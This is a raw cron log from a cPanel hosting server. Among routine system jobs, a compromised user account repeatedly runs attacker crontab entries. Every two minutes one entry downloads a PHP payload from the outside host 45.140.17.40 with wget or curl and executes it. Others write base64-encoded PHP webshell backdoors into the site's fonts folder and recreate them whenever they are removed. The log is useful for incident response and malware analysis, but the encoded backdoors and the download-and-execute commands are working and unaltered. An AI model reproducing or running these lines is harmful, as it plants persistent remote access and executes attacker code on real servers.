Sep 21 17:10:01 ip-184-168-122-23 CROND[16314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:10:01 ip-184-168-122-23 CROND[16317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:10:01 ip-184-168-122-23 CROND[16318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:10:01 ip-184-168-122-23 CROND[16320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:10:01 ip-184-168-122-23 CROND[16316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:10:01 ip-184-168-122-23 CROND[16321]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:11:01 ip-184-168-122-23 CROND[16418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:11:01 ip-184-168-122-23 CROND[16422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:11:01 ip-184-168-122-23 CROND[16421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:11:01 ip-184-168-122-23 CROND[16420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:12:01 ip-184-168-122-23 CROND[16521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:12:01 ip-184-168-122-23 CROND[16523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:12:01 ip-184-168-122-23 CROND[16524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:12:01 ip-184-168-122-23 CROND[16526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:12:01 ip-184-168-122-23 CROND[16525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:13:01 ip-184-168-122-23 CROND[16718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:13:01 ip-184-168-122-23 CROND[16720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:13:01 ip-184-168-122-23 CROND[16722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:13:01 ip-184-168-122-23 CROND[16723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:14:01 ip-184-168-122-23 CROND[16835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:14:01 ip-184-168-122-23 CROND[16837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:14:01 ip-184-168-122-23 CROND[16838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:14:01 ip-184-168-122-23 CROND[16839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:14:01 ip-184-168-122-23 CROND[16841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:15:01 ip-184-168-122-23 CROND[16940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:15:01 ip-184-168-122-23 CROND[16941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:15:01 ip-184-168-122-23 CROND[16942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:15:01 ip-184-168-122-23 CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:15:01 ip-184-168-122-23 CROND[16946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:15:01 ip-184-168-122-23 CROND[16949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:16:01 ip-184-168-122-23 CROND[17071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:16:01 ip-184-168-122-23 CROND[17073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:16:01 ip-184-168-122-23 CROND[17074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:16:01 ip-184-168-122-23 CROND[17075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:16:01 ip-184-168-122-23 CROND[17077]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 17:16:01 ip-184-168-122-23 CROND[17079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:17:01 ip-184-168-122-23 CROND[17572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:17:01 ip-184-168-122-23 CROND[17571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:17:01 ip-184-168-122-23 CROND[17570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:17:01 ip-184-168-122-23 CROND[17569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:18:01 ip-184-168-122-23 CROND[17765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:18:01 ip-184-168-122-23 CROND[17766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:18:01 ip-184-168-122-23 CROND[17768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:18:01 ip-184-168-122-23 CROND[17773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:18:01 ip-184-168-122-23 CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:19:01 ip-184-168-122-23 CROND[17880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:19:01 ip-184-168-122-23 CROND[17882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:19:01 ip-184-168-122-23 CROND[17885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:19:01 ip-184-168-122-23 CROND[17886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:20:01 ip-184-168-122-23 CROND[18025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:20:01 ip-184-168-122-23 CROND[18029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:20:01 ip-184-168-122-23 CROND[18033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:21:01 ip-184-168-122-23 CROND[18138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:21:01 ip-184-168-122-23 CROND[18139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:21:01 ip-184-168-122-23 CROND[18140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:21:01 ip-184-168-122-23 CROND[18141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:22:01 ip-184-168-122-23 CROND[18256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
